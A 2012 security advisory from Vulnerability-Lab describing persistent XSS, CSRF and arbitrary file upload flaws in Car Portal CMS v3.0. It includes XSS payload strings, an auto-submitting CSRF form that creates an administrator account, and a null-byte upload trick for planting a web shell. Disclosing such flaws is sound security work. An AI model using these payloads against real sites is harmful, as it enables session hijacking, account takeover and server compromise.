Car Portal CMS v3.0 - Multiple Web Vulnerabilities

[Research <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Car Portal CMS v3.0 - Multiple Web Vulnerabilities


Date:
=====
2012-04-24


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=502



VL-ID:
=====
502


Introduction:
=============
Car Portal is a php software product for running auto classifieds websites. It 
provides functionality 
for the private sellers to sign up, list their car for sale and make changes in 
their ads online using 
the private sellers administration space. The product provides special 
functionality for the dealers 
to work and manage multiple ads. An affiliate functionality is also included, 
affiliate partners may 
sign up and earn commissions on all the sales done through their links. The 
product comes with a 
powerful admin panel for the administrators, allowing them not only to manage 
the cars portal settings, 
the dealers, affiliates etc. but also providing full control over the website, 
its structure and content, 
also statistics, search engines functionality and others. 

(Copy of the Vendor Homepage: http://www.dream-autos.com/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web 
Vulnerabilities in the Car Portal v3.0  web application.


Report-Timeline:
================
2012-04-24:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in the car 
portal v3.0 web application.
The bugs allow remote attackers to implement/inject malicious script code on 
the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking 
(manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.

Vulnerable Module(s):
                                [+] Post a new vehicle  - PWRS & Description 
field 
                                [+] Create News - News title
                                [+] Create a sub user - Name
                                [+] Create new user group - group Name
                                [+] Change profile - Dealer name &First Name & 
Last Name

1.2
Multiple cross site request forgery vulnerabilities are detected in the car 
portal v3.0 web application.
The bugs allow remote attackers to enforce the user (admin) to change user`s 
password, Create a user, sub user, or change profile information
Successful exploitation of the vulnerability can lead to creating a new admin 
account or changing  user`s password.

Vulnerable Module(s):
                                                                [+] 
cars/ADMIN/index.php?category=security&action=nouveau
                                                                [+] 
USERS/index.php?category=profile&action=edit
                                                                [+] 
USERS/index.php?category=home&action=sub_accounts

1.3
Arbitrary file upload allows the attacker to upload files that differs than 
images. The attacker can upload the file by 
changing its name from file.php to file.php%00.php. After the uploading the 
file .jpg of the file will be truncated  and the 
file will save on the sever as file.php.
Successful exploitation can result in malware or malicious web shell upload 
which results in a system comrpomise at the end.


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers with required low & 
high required user inter action. 
For demonstration or reproduce ...


1.1
The issue can be exploited by creating news, new sub user, or new group with 
script code as value.
The result is the persistent execution out of the web application context. 

Strings: >"<<iframe src=http://xxxxx.com/>3</iframe> ... or 
>"<script>alert(document.cookie)</script><div style="1


1.2
The issue can be exploited if the admin has entered to a page that has the 
following code. The user or the admin would be forced to do the vulnerable 
action.

<html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" 
action="http://www.officialdemos.com/cars/ADMIN/index.php?category=security&action=nouveau";>
<input type="hidden" name="username" value="the_storm"/>
 <input type="hidden" name="password" value="password"/>
 <input type="hidden" name="email" value="email@xxxxxxxxx"/>
<input type="hidden" name="category" value="security" />
<input type="hidden" name="action" value="nouveau" />
 <input type="hidden" name="type" value="administrator"/>
 </form>
 </body>
 </html>

1.3
The attacker can exploit this vulnerability by uploading the file with name 
file.php%00.jpg instead of file.php



Risk:
=====
1.1
The security risk of the persistent input validation vulnerability is estimated 
as medium(+).

1.2
The security risk of the cross site request forgery vulnerability is estimated 
as low.

1.3
The security risk of the arbitrary file upload vulnerability is estimated as 
medium(+).


Credits:
========
Vulnerability Laboratory Research Team -    the_storm 
(strom@xxxxxxxxxxxxxxxxxxxxx)



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===========
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                                                Copyright © 2012 
Vulnerability-Lab




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Mail: research@xxxxxxxxxxxxxxxxxxxxx